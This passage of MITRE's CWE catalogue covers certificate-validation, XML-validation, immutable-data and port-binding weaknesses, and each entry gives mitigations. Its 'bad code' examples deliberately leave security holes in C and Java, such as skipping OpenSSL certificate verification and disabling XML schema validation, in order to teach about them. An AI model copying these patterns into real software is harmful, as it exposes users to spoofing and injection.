Trust afforded to the system in question may allow for spoofing or redirection attacks.
Access Control

Technical Impact: Gain Privileges or Assume Identity

If the certificate is not checked, it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data under the guise of a trusted host. While the attacker in question may have a valid certificate, it may simply be a valid certificate for a different site. In order to ensure data integrity, we must check that the certificate is valid, and that it pertains to the site we wish to access.
+ Demonstrative Examples

Example 1

The following OpenSSL code ensures that the host has a certificate.

(bad code)
Example Language:
if (cert = SSL_get_peer_certificate(ssl)) {

// got certificate, host can be trusted

//foo=SSL_get_verify_result(ssl);

//if (X509_V_OK==foo) ...
}

Note that the code does not call SSL_get_verify_result(ssl), which effectively disables the validation step that checks the certificate.

+ Potential Mitigations

Phase: Architecture and Design

Ensure that proper authentication is included in the system design.

Phase: Implementation

Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.948SFP Secondary Cluster: Digital Certificate
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

CWE-295 and CWE-599 are very similar, although CWE-599 has a more narrow scope that is only applied to OpenSSL certificates. As a result, other children of CWE-295 can be regarded as children of CWE-599 as well. CWE's use of one-dimensional hierarchical relationships is not well-suited to handle different kinds of abstraction relationships based on concepts like types of resources ("OpenSSL certificate" as a child of "any certificate") and types of behaviors ("not validating expiration" as a child of "improper validation").
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-07-27CWE Content TeamMITRE
updated Relationships
2010-12-13CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Other_Notes
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-02-21CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Name, Relationship_Notes, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships
2019-09-19CWE Content TeamMITRE
updated Demonstrative_Examples
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11No OpenSSL Certificate Check Performed before Use
2013-02-21Trust of OpenSSL Certificate Without Validation

CWE-112: Missing XML Validation

Weakness ID: 112
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product accepts XML from an untrusted source but does not validate the XML against the proper schema.
+ Extended Description
Most successful attacks begin with a violation of the programmer's assumptions. By accepting an XML document without validating it against a DTD or XML schema, the programmer leaves a door open for attackers to provide unexpected, unreasonable, or malicious input.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1286Improper Validation of Syntactic Correctness of Input
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1215Data Validation Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Demonstrative Examples

Example 1

The following code loads and parses an XML file.

(bad code)
Example Language: Java 

// Read DOM
try {
...
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setValidating( false );
....
c_dom = factory.newDocumentBuilder().parse( xmlFile );
} catch(Exception ex) {
...
}

The XML file is loaded without validating it against a known XML Schema or DTD.

Example 2

The following code creates a DocumentBuilder object to be used in building an XML document.

(bad code)
Example Language: Java 
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
DocumentBuilder builder = builderFactory.newDocumentBuilder();

The DocumentBuilder object does not validate an XML document against a schema, making it possible to create an invalid XML document.

+ Potential Mitigations

Phase: Architecture and Design

Strategy: Input Validation

Always validate XML input against a known XML Schema or DTD.

It is not possible for an XML parser to validate all aspects of a document's content because a parser cannot understand the complete semantics of the data. However, a parser can do a complete and thorough job of checking the document's structure and therefore guarantee to the code that processes the document that the content is well-formed.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1406Comprehensive Categorization: Improper Input Validation
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsMissing XML Validation
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Demonstrative_Example, Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Description, Other_Notes
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2014-02-18CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-06-23CWE Content TeamMITRE
updated Demonstrative_Examples, Other_Notes, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References, Related_Attack_Patterns, Relationships
2020-06-25CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-471: Modification of Assumed-Immutable Data (MAID)

Weakness ID: 471
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly protect an assumed-immutable element from being modified by an attacker.
+ Extended Description
This occurs when a particular input is critical enough to the functioning of the application that it should not be modifiable at all, but it is. Certain resources are often assumed to be immutable when they are not, such as hidden form fields in web applications, cookies, and reverse DNS lookups.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.664Improper Control of a Resource Through its Lifetime
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.291Reliance on IP Address for Authentication
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.472External Control of Assumed-Immutable Web Parameter
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.473PHP External Variable Modification
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.607Public Static Final Field References Mutable Object
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.425Direct Request ('Forced Browsing')
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.602Client-Side Enforcement of Server-Side Security
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.621Variable Extraction Error
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1282Assumed-Immutable Data is Stored in Writable Memory
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.1321Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Architecture and Design
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Modify Application Data

Common data types that are attacked are environment variables, web application parameters, and HTTP headers.
Integrity

Technical Impact: Unexpected State

+ Demonstrative Examples

Example 1

In the code excerpt below, an array returned by a Java method is modified despite the fact that arrays are mutable.

(bad code)
Example Language: Java 
String[] colors = car.getAllPossibleColors();
colors[0] = "Red";
+ Observed Examples
ReferenceDescription
Relies on $PHP_SELF variable for authentication.
Gain privileges by modifying assumed-immutable code addresses that are accessed by a driver.
+ Potential Mitigations

Phases: Architecture and Design; Operation; Implementation

When the data is stored or transmitted through untrusted sources that could modify the data, implement integrity checks to detect unauthorized modification, or store/transmit the data in a trusted location that is free from external influence.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.991SFP Secondary Cluster: Tainted Input to Environment
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

MAID issues can be primary to many other weaknesses, and they are a major factor in languages that provide easy access to internal program constructs, such as PHP's register_globals and similar features. However, MAID issues can also be resultant from weaknesses that modify internal state; for example, a program might validate some data and store it in memory, but a buffer overflow could overwrite that validated data, leading to a change in program logic.

Theoretical

There are many examples where the MUTABILITY property is a major factor in a vulnerability.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERModification of Assumed-Immutable Data
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Other_Notes
2010-02-16CWE Content TeamMITRE
updated Potential_Mitigations
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-12-13CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-02-21CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-02-18CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-06-23CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Description, Other_Notes, Potential_Mitigations, Relationship_Notes, Theoretical_Notes, Time_of_Introduction
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2018-03-27CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-605: Multiple Binds to the Same Port

Weakness ID: 605
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
When multiple sockets are allowed to bind to the same port, other services on that port may be stolen or spoofed.
+ Extended Description
On most systems, a combination of setting the SO_REUSEADDR socket option, and a call to bind() allows any process to bind to a port to which a previous process has bound with INADDR_ANY. This allows a user to bind to the specific address of a server bound to INADDR_ANY on an unprivileged port, and steal its UDP packets/TCP connection.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.666Operation on Resource in Wrong Phase of Lifetime
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.675Multiple Operations on Resource in Single-Operation Context
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1006Bad Coding Practices
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Application Data

Packets from a variety of network services may be stolen or the services spoofed.
+ Demonstrative Examples

Example 1

This code binds a server socket to port 21, allowing the server to listen for traffic on that port.

(bad code)
Example Language:
void bind_socket(void) {

int server_sockfd;
int server_len;
struct sockaddr_in server_address;

/*unlink the socket if already bound to avoid an error when bind() is called*/

unlink("server_socket");
server_sockfd = socket(AF_INET, SOCK_STREAM, 0);

server_address.sin_family = AF_INET;
server_address.sin_port = 21;
server_address.sin_addr.s_addr = htonl(INADDR_ANY);
server_len = sizeof(struct sockaddr_in);

bind(server_sockfd, (struct sockaddr *) &s1, server_len);
}

This code may result in two servers binding a socket to same port, thus receiving each other's traffic. This could be used by an attacker to steal packets meant for another process, such as a secure FTP server.

+ Potential Mitigations

Phase: Policy

Restrict server socket address to known local addresses.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.954SFP Secondary Cluster: Multiple Binds to the Same Port
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP32Multiple binds to the same port
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Enabling_Factors_for_Exploitation, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Description, Enabling_Factors_for_Exploitation, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Weakness_Ordinalities
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples, Type
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Multiple Binds to Same Port

CWE-450: Multiple Interpretations of UI Input

Weakness ID: 450
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The UI has multiple interpretations of user input but does not prompt the user when it selects the less secure interpretation.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.357Insufficient UI Warning of Dangerous Operations
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Varies by Context

+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.995SFP Secondary Cluster: Feature
